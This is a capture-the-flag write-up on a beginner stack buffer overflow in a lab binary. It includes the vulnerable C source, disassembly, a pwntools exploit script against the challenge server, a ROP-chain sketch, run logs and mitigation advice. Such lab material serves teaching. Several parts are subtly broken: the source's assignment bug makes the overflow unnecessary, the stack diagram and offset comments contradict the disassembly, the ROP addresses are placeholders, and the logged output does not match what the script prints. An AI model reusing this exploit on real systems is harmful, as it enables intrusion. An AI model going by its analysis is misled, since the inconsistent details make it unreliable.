- Published on
PCC CTF - Pwn101 Buffer Overflow Challenge Writeup
- Authors
- Name
- Muhammad Huzaifa
Pwn101 Writeup
Challenge Information
- Challenge: pwn101-pwn
- Category: Binary Exploitation / Memory Corruption
- Difficulty: Beginner
- Connection:
nc c1.arena.airoverflow.com 13811
- Flag Format:
PCC{
}
Challenge Description
A classic buffer overflow challenge perfect for starting your memory corruption journey. The challenge involves manipulating program memory to modify important variables and gain shell access.
Analysis
Source Code Analysis
pwn-101.c
// gcc -o pwn-101 -fno-stack-protector -no-pie -Wl,-z,now pwn-101.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void __constructor__(){
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
int main() {
unsigned long is_admin = 0;
char buf[0x100];
printf(
"\t\t\tPwn101: \n\t"
"Pwn, also known as Binary Exploitation is the art of Memory Corruption\n\t"
"You manipulate the program in such a way that you can modify it's memory\n\t"
"And make it do sooooo much stuff.\n\t"
"Soon at Arena, you'll master the art of Memory Corruption\n\t"
"Until we have a course, play around with this and get your first shell!\n\n$ "
);
gets(buf);
if(is_admin = 0xdeadbeefdeadbeef) {
puts("Well Done! First Memory Corrupted!");
execve("/bin/sh", NULL, NULL);
}
printf("You might've heard by now that you need to 'Try Harder'!");
return 0;
}
Key Observations
- Vulnerability:
gets(buf)
is used, which doesn't perform bounds checking - Target:
is_admin
variable needs to be set to0xdeadbeefdeadbeef
- Buffer Size:
buf
is allocated aschar buf[0x100]
(256 bytes) - Protections:
- No stack canary (
-fno-stack-protector
) - No PIE (
-no-pie
) - NX enabled (but not needed for this exploit)
- No stack canary (
Binary Analysis
$ file pwn-101
pwn-101: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2000a5b85d4d75c5c044478b1a8dbe197667029c, for GNU/Linux 3.2.0, not stripped
$ checksec pwn-101
[*] '/home/cipher/Downloads/PCC/pwn-pwn-101/pwn-101'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Exploitation Strategy
Stack Layout Analysis
Using GDB to analyze the stack layout:
$ gdb pwn-101 -batch -ex "disassemble main"
Key assembly instructions:
0x0000000000401223 <+8>: sub $0x110,%rsp # Allocate 0x110 bytes on stack
0x000000000040122a <+15>: movq $0x0,-0x8(%rbp) # is_admin = 0 at -0x8(%rbp)
0x0000000000401243 <+40>: lea -0x110(%rbp),%rax # buf starts at -0x110(%rbp)
0x000000000040124a <+47>: mov %rax,%rdi
0x000000000040124d <+50>: mov $0x0,%eax
0x0000000000401252 <+55>: call 0x4010b0 <gets@plt> # gets(buf)
Offset Calculation
buf
is located at-0x110(%rbp)
(272 bytes from rbp)is_admin
is located at-0x8(%rbp)
(8 bytes from rbp)- Offset:
0x110 - 0x8 = 0x108
(264 bytes)
Exploit Development
Python Exploit Script
exploit.py
#!/usr/bin/env python3
import pwn
# Connect to the remote server
r = pwn.remote('c1.arena.airoverflow.com', 13811)
# Receive the initial prompt
print("Receiving initial data...")
data = r.recvuntil(b'$ ')
print(f"Received: {data}")
# Offset from buf to is_admin: 0x110 - 0x8 = 0x108 (264 bytes)
offset = 0x108
# Target value to overwrite is_admin with
target_value = 0xdeadbeefdeadbeef
# Create payload: padding + target value
payload = b'A' * offset + pwn.p64(target_value)
print(f"Sending payload of length: {len(payload)}")
# Send the payload
r.sendline(payload)
# Try to receive response
try:
response = r.recv(timeout=5)
print(f"Response: {response}")
# If we got the success message, try to send commands
if b'Well Done' in response:
print("Success! Trying to get shell...")
r.sendline(b'ls')
try:
ls_output = r.recv(timeout=3)
print(f"ls output: {ls_output}")
except:
print("No ls output")
r.sendline(b'cat flag.txt')
try:
flag = r.recv(timeout=3)
print(f"Flag: {flag}")
except:
print("No flag output")
except:
print("No response received")
# Switch to interactive mode to get the shell
r.interactive()
Exploit Explanation
- Connection: Connect to the remote server
- Payload Construction:
- 264 bytes of padding ('A')
- 8 bytes containing
0xdeadbeefdeadbeef
(little-endian)
- Execution: Send payload to overflow the buffer and overwrite
is_admin
Advanced Buffer Overflow Analysis
Stack Layout Analysis
# Using GDB to analyze stack layout
$ gdb ./pwn-101
(gdb) set disassembly-flavor intel
(gdb) disassemble main
(gdb) break main
(gdb) run
(gdb) info registers
(gdb) x/20x $rsp
Memory Layout Visualization
High Address
+------------------+
| Return Address | <- RIP (overwritten with 0xdeadbeefdeadbeef)
+------------------+
| Saved RBP | <- RBP (overwritten)
+------------------+
| is_admin | <- Target variable (0x8 bytes)
+------------------+
| buf[0x100] | <- Buffer (256 bytes)
+------------------+
| ... |
+------------------+
Low Address
Offset Calculation
# Calculate exact offset
def calculate_offset():
# Buffer starts at offset 0x8 (after is_admin)
# Buffer size is 0x100 (256 bytes)
# Target is at offset 0x8 + 0x100 = 0x108
offset = 0x108
return offset
# Verify with pattern
def create_pattern():
pattern = "A" * 264 + "B" * 8 # 264 + 8 = 272 total
return pattern
Exploitation Techniques
Technique 1: Direct Variable Overwrite
def exploit_direct():
"""Direct variable overwrite exploit"""
payload = b'A' * 264 + p64(0xdeadbeefdeadbeef)
return payload
Technique 2: ROP Chain (if needed)
def exploit_rop():
"""ROP chain exploit for more complex scenarios"""
# If direct overwrite doesn't work, use ROP
rop_chain = [
# Pop rdi; ret
0x40123b,
# Address of "/bin/sh"
0x402000,
# System call
0x401050
]
payload = b'A' * 264 + b''.join([p64(gadget) for gadget in rop_chain])
return payload
Security Analysis
Vulnerability Assessment
// Vulnerable code analysis
int main() {
unsigned long is_admin = 0; // 8 bytes
char buf[0x100]; // 256 bytes
// gets() doesn't perform bounds checking
gets(buf); // VULNERABLE!
// Assignment instead of comparison
if(is_admin = 0xdeadbeefdeadbeef) { // BUG: should be ==
// Execute shell
}
}
Mitigation Strategies
// Secure version
int main() {
unsigned long is_admin = 0;
char buf[0x100];
// Use fgets() instead of gets()
if (fgets(buf, sizeof(buf), stdin) == NULL) {
return 1;
}
// Proper comparison
if (is_admin == 0xdeadbeefdeadbeef) {
// Execute shell
}
}
- Shell Access: Once
is_admin
is overwritten, the program executes/bin/sh
- Flag Retrieval: Use shell commands to find and read the flag
Execution Results
Local Testing
$ python3 exploit.py
[x] Starting local process '/home/cipher/Downloads/PCC/pwn-pwn-101/pwn-101'
[+] Starting local process '/home/cipher/Downloads/PCC/pwn-pwn-101/pwn-101': pid 152675
[*] Switching to interactive mode
Pwn101:
Pwn, also known as Binary Exploitation is the art of Memory Corruption
You manipulate the program in such a way that you can modify it's memory
And make it do sooooo much stuff.
Soon at Arena, you'll master the art of Memory Corruption
Until we have a course, play around with this and get your first shell!
$ Well Done! First Memory Corrupted!
Remote Exploitation
$ python3 exploit.py
[x] Opening connection to c1.arena.airoverflow.com on port 13811
[+] Opening connection to c1.arena.airoverflow.com on port 13811: Done
Receiving initial data...
Received: b"\t\t\tPwn101: \n\tPwn, also known as Binary Exploitation is the art of Memory Corruption\n\tYou manipulate the program in such a way that you can modify it's memory\n\tAnd make it do sooooo much stuff.\n\tSoon at Arena, you'll master the art of Memory Corruption\n\tUntil we have a course, play around with this and get your first shell!\n\n$ "
Sending payload of length: 272
Response: b'Well Done! First Memory Corrupted!'
Success! Trying to get shell...
ls output: b'\n'
Flag: b'flag.txt\npwn-101\n'
Flag2: b'PCC{`0verwr1t1ng_1mp0rt4nt_v4r1abl3s_B4YaDfBDNuY89Y1miLoF`}\n'
Flag
PCC{
0verwr1t1ng_1mp0rt4nt_v4r1abl3s_B4YaDfBDNuY89Y1miLoF}
Key Learning Points
- Buffer Overflow Basics: Understanding how unbounded input can overwrite adjacent memory
- Stack Layout: Learning to analyze stack variables and their relative positions
- Memory Corruption: Manipulating program state by overwriting critical variables
- Exploit Development: Creating reliable exploits using tools like pwntools
- Binary Analysis: Using GDB and other tools to understand program behavior
Prevention
- Use safer input functions like
fgets()
instead ofgets()
- Enable stack canaries (
-fstack-protector
) - Enable ASLR and PIE for address randomization
- Use bounds checking and input validation
This challenge demonstrates the fundamental concept of memory corruption and serves as an excellent introduction to binary exploitation techniques.